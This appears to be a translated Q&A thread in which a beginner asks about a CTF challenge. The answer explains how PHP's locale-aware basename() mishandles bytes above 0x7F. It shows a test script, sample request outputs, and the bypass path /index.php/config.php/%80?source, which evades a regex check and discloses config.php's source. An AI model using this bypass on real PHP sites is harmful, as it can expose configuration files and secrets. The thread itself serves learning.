【问题标题】:How does the hex value in an URL change the path of the file?URL 中的十六进制值如何改变文件的路径?
【发布时间】:2020-06-21 01:34:49
【问题描述】:

我正在应对 CTF 中的一项挑战。这是挑战的链接:Link1

当我尝试将路径更改为Link2

它成功检索了标志,但是当十六进制值小于 80 时,它不起作用。

我是一个初学者,做了很多挖掘以找出方法,但我找不到任何东西。请问是怎么回事?

【问题讨论】:

  • 我会说:“猜测随机字节是非预期的解决方案”。

标签: php url-routing web-development-server ctf


【解决方案1】:

似乎挑战在于利用 PHP 的 basename() 函数的一个怪癖。 As per the documentation:

注意: basename() 可以识别区域设置,因此要让它看到具有多字节字符路径的正确基本名称,必须使用 setlocale() 函数设置匹配的区域设置。

这意味着如果你传递一个包含高于 0x7F 的代码点的字符串,那么它会尝试将它们作为多字节字符处理。因此,将随机字节传递给此函数很可能会使其崩溃。

我将以下脚本上传到服务器进行测试:

<?php

header("Content-Type: text/plain; charset=UTF-8");

echo '$_SERVER["PATH_INFO"] = ';
var_dump($_SERVER['PATH_INFO']);
echo '$_SERVER["PHP_SELF"] = ';
var_dump($_SERVER['PHP_SELF']);
echo 'basename($_SERVER["PHP_SELF"]) = ';
var_dump(basename($_SERVER['PHP_SELF']));

以下是我通过一些选择的请求获得的结果:

GET /index.php?source

$_SERVER["PATH_INFO"] = NULL
$_SERVER["PHP_SELF"] = string(15) "/index.php"
basename($_SERVER["PHP_SELF"]) = string(9) "index.php"

GET /index.php/config.php?source

$_SERVER["PATH_INFO"] = string(11) "/config.php"
$_SERVER["PHP_SELF"] = string(26) "/index.php/config.php"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"

GET /index.php/config.php/XXX?source

$_SERVER["PATH_INFO"] = string(15) "/config.php/XXX"
$_SERVER["PHP_SELF"] = string(30) "/index.php/config.php/XXX"
basename($_SERVER["PHP_SELF"]) = string(3) "XXX"

GET /index.php/config.php/%F0%9F%98%80?source

$_SERVER["PATH_INFO"] = string(16) "/config.php/?"
$_SERVER["PHP_SELF"] = string(31) "/index.php/config.php/?"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"

您会注意到,在最后一个示例中,PHP 未能解析 PATH_INFO 字符串末尾的 UTF-8 字符,而是默认为前面的值 config.php

因此,在您给出的示例中,指向/index.php/config.php/%80?source 的链接将导致$_SERVER["PHP_SELF"] 的值为"config.php"。这允许您的查询通过以下测试,因为$_SERVER['PHP_SELF']\x80 结尾,而不是/

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

因此您可以从config.php 的源代码中获取标志。

一个有趣的挑战。


注意:如果您将 PHP 的语言环境设置为接受 UTF-8 字符的内容(例如,setlocale(LC_ALL, 'en_GB.UTF8');),那么它将正确处理 ? 字符,但在给出无效代码点,例如 %80

【讨论】:

    猜你喜欢
    • 2015-01-26
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2018-07-26
    • 2011-12-21
    • 1970-01-01
    相关资源
    最近更新 更多